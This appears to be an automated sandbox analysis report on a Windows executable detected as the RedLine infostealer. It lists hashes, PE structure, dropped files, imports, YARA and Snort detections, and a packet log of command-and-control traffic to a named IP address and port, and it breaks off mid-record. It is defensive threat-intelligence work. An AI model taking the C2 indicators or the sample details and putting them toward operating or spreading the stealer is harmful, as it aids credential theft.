Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\uPD30tM82.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 77%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0.................. ........@.. ....................... ............@.................................8...O.......$............................................................................ ............... ..H............text....... ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.754380762458114
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	W7ANVukbbj.exe
File size:	450560
MD5:	093a149ea955420c85d54127e964879a
SHA1:	ecef28b8b5ed66fc1226fc0c9e2ce98b89523e76
SHA256:	fd7f4611b78c0f0b264159fcc744604e1a089f9faa381c8e4414a123ff568d19
SHA512:	014a5e43692b423a14cf5c3c53ba1378d3d642b6da52e8c90d7dfd9a526df6c1cc84bb257a6ae05abba917c44ae785420784c906eccd2d12c5641ddce247bffe
SSDEEP:	6144:Kuy+bnr+2p0yN90QEsETKwHHhtW5OSD7N75zZwKWFaBKmMDgGTgBvwXQ0K0980q8:2Mr+y90oQBtgHjNW9gwkvQ38LvlYzN
TLSH:	D4A40107F6FC8132D4B457B01CF202C31A36BDA05A7892D7628FBC5718726B5A23276B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K...N...K...H...K...O...K...J...K...J...K...C...K.......K...I...K.Rich..K.........PE..L....`.b.................d.

File Icon


Icon Hash:	f8e0e4e8ecccc870

Static PE Info

General

Entrypoint:	0x406a60
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x628D60E2 [Tue May 24 22:49:06 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	646167cce332c1c252cdcb1839e0cf48

Entrypoint Preview

Instruction
call 00007FEC30B49A25h
jmp 00007FEC30B49335h
push 00000058h
push 004072B8h
call 00007FEC30B49AC7h
xor ebx, ebx
mov dword ptr [ebp-20h], ebx
lea eax, dword ptr [ebp-68h]
push eax
call dword ptr [0040A184h]
mov dword ptr [ebp-04h], ebx
mov eax, dword ptr fs:[00000018h]
mov esi, dword ptr [eax+04h]
mov edi, ebx
mov edx, 004088ACh
mov ecx, esi
xor eax, eax
lock cmpxchg dword ptr [edx], ecx
test eax, eax
je 00007FEC30B4934Ah
cmp eax, esi
jne 00007FEC30B49339h
xor esi, esi
inc esi
mov edi, esi
jmp 00007FEC30B49342h
push 000003E8h
call dword ptr [0040A188h]
jmp 00007FEC30B49309h
xor esi, esi
inc esi
cmp dword ptr [004088B0h], esi
jne 00007FEC30B4933Ch
push 0000001Fh
call 00007FEC30B4985Bh
pop ecx
jmp 00007FEC30B4936Ch
cmp dword ptr [004088B0h], ebx
jne 00007FEC30B4935Eh
mov dword ptr [004088B0h], esi
push 004010C4h
push 004010B8h
call 00007FEC30B49486h
pop ecx
pop ecx
test eax, eax
je 00007FEC30B49349h
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, 000000FFh
jmp 00007FEC30B49469h
mov dword ptr [004081E4h], esi
cmp dword ptr [004088B0h], esi
jne 00007FEC30B4934Dh
push 004010B4h
push 004010ACh
call 00007FEC30B49A15h
pop ecx
pop ecx
mov dword ptr [000088B0h], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa28c	0xb4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x659a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x72000	0x888	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1410	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1008	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa000	0x288	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6314	0x6400	False	0.5744140625	data	6.314163792045976	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x8000	0x1a48	0x200	False	0.609375	data	4.970639543960129	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa000	0x1052	0x1200	False	0.4140625	data	5.025949912909207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x66000	0x65a00	False	0.9085802967404674	data	7.808620509312085	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x72000	0x888	0xa00	False	0.746484375	data	6.222637930812128	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AVI	0xcb30	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States
RT_ICON	0xf94c	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States
RT_ICON	0xffb4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States
RT_ICON	0x1029c	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States
RT_ICON	0x10484	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States
RT_ICON	0x105ac	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States
RT_ICON	0x11454	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States
RT_ICON	0x11cfc	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States
RT_ICON	0x123c4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States
RT_ICON	0x1292c	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x20300	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States
RT_ICON	0x228a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States
RT_ICON	0x23950	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States
RT_ICON	0x242d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States
RT_DIALOG	0x24740	0x2f2	data	English	United States
RT_DIALOG	0x24a34	0x35c	data	Russian	Russia
RT_DIALOG	0x24d90	0x1b0	data	English	United States
RT_DIALOG	0x24f40	0x1b4	data	Russian	Russia
RT_DIALOG	0x250f4	0x166	data	English	United States
RT_DIALOG	0x2525c	0x168	data	Russian	Russia
RT_DIALOG	0x253c4	0x1c0	data	English	United States
RT_DIALOG	0x25584	0x1e0	data	Russian	Russia
RT_DIALOG	0x25764	0x130	data	English	United States
RT_DIALOG	0x25894	0x150	data	Russian	Russia
RT_DIALOG	0x259e4	0x120	data	English	United States
RT_DIALOG	0x25b04	0x122	data	Russian	Russia
RT_STRING	0x25c28	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States
RT_STRING	0x25cb4	0x86	Matlab v4 mat-file (little endian) K\0041\0045\004@\0048\004B\0045\004 , numeric, rows 0, columns 0	Russian	Russia
RT_STRING	0x25d3c	0x520	data	English	United States
RT_STRING	0x2625c	0x52e	data	Russian	Russia
RT_STRING	0x2678c	0x5cc	data	English	United States
RT_STRING	0x26d58	0x592	data	Russian	Russia
RT_STRING	0x272ec	0x4b0	data	English	United States
RT_STRING	0x2779c	0x4b2	data	Russian	Russia
RT_STRING	0x27c50	0x44a	data	English	United States
RT_STRING	0x2809c	0x43e	data	Russian	Russia
RT_STRING	0x284dc	0x3ce	data	English	United States
RT_STRING	0x288ac	0x2fc	data	Russian	Russia
RT_RCDATA	0x28ba8	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x28bb0	0x47cc2	Microsoft Cabinet archive data, many, 294082 bytes, 2 files, at 0x2c +A "twl97yF91.exe" +A "uPD30tM82.exe", ID 2151, number 1, 18 datablocks, 0x1503 compression	English	United States
RT_RCDATA	0x70874	0x4	data	English	United States
RT_RCDATA	0x70878	0x24	data	English	United States
RT_RCDATA	0x7089c	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x708a4	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x708ac	0x4	data	English	United States
RT_RCDATA	0x708b0	0xe	data	English	United States
RT_RCDATA	0x708c0	0x4	data	English	United States
RT_RCDATA	0x708c4	0xe	data	English	United States
RT_RCDATA	0x708d4	0x4	data	English	United States
RT_RCDATA	0x708d8	0x6	data	English	United States
RT_RCDATA	0x708e0	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x708e8	0x7	ASCII text, with no line terminators	English	United States
RT_GROUP_ICON	0x708f0	0xbc	data	English	United States
RT_VERSION	0x709ac	0x408	data	English	United States
RT_VERSION	0x70db4	0x410	data	Russian	Russia
RT_MANIFEST	0x711c4	0x7e2	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, lstrcmpA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, ExpandEnvironmentStringsA, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, FindNextFileA, LocalAlloc, GetShortPathNameA, MulDiv, GetDiskFreeSpaceA, EnumResourceLanguagesA, GetTickCount, GetSystemTimeAsFileTime, GetCurrentThreadId, GetCurrentProcessId, QueryPerformanceCounter, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, GetStartupInfoW, Sleep, FindClose, GetCurrentProcess, FindFirstFileA, WaitForSingleObject, GetModuleFileNameA, LoadLibraryExA
GDI32.dll	GetDeviceCaps
USER32.dll	SetWindowLongA, GetDlgItemTextA, DialogBoxIndirectParamA, ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetDesktopWindow, CharUpperA, SetDlgItemTextA, ExitWindowsEx, MessageBeep, EndDialog, CharPrevA, LoadStringA, CharNextA, EnableWindow, ReleaseDC, SetForegroundWindow, PeekMessageA, GetDlgItem, SendMessageA, SendDlgItemMessageA, MessageBoxA, SetWindowTextA, GetWindowLongA, CallWindowProcA, GetSystemMetrics
msvcrt.dll	_controlfp, ?terminate@@YAXXZ, _acmdln, _initterm, __setusermatherr, _except_handler4_common, memcpy, _ismbblead, __p__fmode, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, __p__commode, _XcptFilter, memcpy_s, _vsnprintf, memset
COMCTL32.dll
Cabinet.dll
VERSION.dll	GetFileVersionInfoA, VerQueryValueA, GetFileVersionInfoSizeA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Russian	Russia

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.3193.233.20.234973641232043233 02/27/23-09:31:19.481059	TCP	2043233	ET TROJAN RedLine Stealer TCP CnC net.tcp Init	49736	4123	192.168.2.3	193.233.20.23
192.168.2.3193.233.20.234973641232043231 02/27/23-09:31:37.882033	TCP	2043231	ET TROJAN Redline Stealer TCP CnC Activity	49736	4123	192.168.2.3	193.233.20.23
192.168.2.3193.233.20.234969941232043233 02/27/23-09:30:29.261461	TCP	2043233	ET TROJAN RedLine Stealer TCP CnC net.tcp Init	49699	4123	192.168.2.3	193.233.20.23
193.233.20.23192.168.2.34123497362043234 02/27/23-09:31:21.995610	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	4123	49736	193.233.20.23	192.168.2.3
192.168.2.3193.233.20.234969941232043231 02/27/23-09:30:46.338879	TCP	2043231	ET TROJAN Redline Stealer TCP CnC Activity	49699	4123	192.168.2.3	193.233.20.23
193.233.20.23192.168.2.34123496992043234 02/27/23-09:30:34.424527	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	4123	49699	193.233.20.23	192.168.2.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 27, 2023 09:30:28.799913883 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:28.822324038 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:28.822432995 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:29.261461020 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:29.284508944 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:29.332160950 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:34.401050091 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:34.424526930 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:34.582655907 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:41.856347084 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:41.881480932 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:41.881546974 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:41.881582022 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:41.881694078 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:41.989501953 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:43.182545900 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:43.205604076 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:43.224679947 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:43.248169899 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:43.263103008 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:43.286006927 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:43.328735113 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:43.387837887 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:43.412041903 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:43.419509888 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:43.443514109 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:43.445651054 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:43.470002890 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:43.534809113 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:43.557168007 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:43.557209015 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:43.557670116 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:43.692811966 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:43.885574102 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:43.908159018 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:43.911379099 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:43.934298038 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:43.938992977 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:43.961504936 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:44.083498955 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:44.430603027 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:44.453414917 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:44.622065067 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:44.644484043 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:44.646148920 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:44.692872047 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:44.757424116 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:44.779812098 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:44.780401945 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:44.868472099 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:45.822874069 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:45.845217943 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:45.845873117 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:45.858052015 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:45.880987883 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:46.083539009 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:46.169312954 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:46.192996979 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:46.315382957 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:46.338251114 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:46.338879108 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:30:46.361476898 CET	4123	49699	193.233.20.23	192.168.2.3
Feb 27, 2023 09:30:46.398494005 CET	49699	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:18.684068918 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:18.706500053 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:18.706656933 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:19.481059074 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:19.503772974 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:19.696652889 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:21.971812963 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:21.995609999 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:22.195980072 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:31.471957922 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:31.496052980 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:31.496093988 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:31.496124983 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:31.496254921 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:31.705389023 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:33.742319107 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:33.766498089 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:33.806375027 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:35.612361908 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:35.634870052 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:35.634954929 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:35.697151899 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:35.836565971 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:35.859450102 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:36.009665966 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:36.057981014 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:36.080349922 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:36.081332922 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:36.131738901 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:36.154635906 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:36.156091928 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:36.178980112 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:36.357662916 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:36.379848957 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:36.380387068 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:36.510029078 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:36.711627007 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:36.734822989 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:36.734865904 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:36.806591034 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:36.835944891 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:36.858872890 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:36.864465952 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:36.887478113 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:36.894176960 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:36.917124987 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:37.009783983 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:37.227041960 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:37.250790119 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:37.253142118 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:37.277036905 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:37.321152925 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:37.659293890 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:37.682101011 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:37.777072906 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:37.799846888 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:37.814235926 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:37.837686062 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:37.857275963 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:37.881268024 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:37.882033110 CET	49736	4123	192.168.2.3	193.233.20.23
Feb 27, 2023 09:31:37.904980898 CET	4123	49736	193.233.20.23	192.168.2.3
Feb 27, 2023 09:31:37.931268930 CET	49736	4123	192.168.2.3	193.233.20.23

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: W7ANVukbbj.exePID: 6056, Parent PID: 3452

General

Target ID:	0
Start time:	09:30:15
Start date:	27/02/2023
Path:	C:\Users\user\Desktop\W7ANVukbbj.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\W7ANVukbbj.exe
Imagebase:	0x860000
File size:	450560 bytes
MD5 hash:	093A149EA955420C85D54127E964879A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.254929355.0000000004A26000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: twl97yF91.exePID: 3776, Parent PID: 6056

General

Target ID:	1
Start time:	09:30:16
Start date:	27/02/2023
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\twl97yF91.exe
Imagebase:	0x400000
File size:	382976 bytes
MD5 hash:	8B79F6A1B67F97CA971CEF540ABF22E7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000001.00000003.256499672.0000000002D50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000001.00000003.256499672.0000000002D50000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000001.00000002.323169357.0000000004DEE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000001.00000002.322917583.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000001.00000002.322917583.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000001.00000002.322488235.0000000002F56000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000001.00000002.333480133.00000000076C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000001.00000002.333480133.00000000076C0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 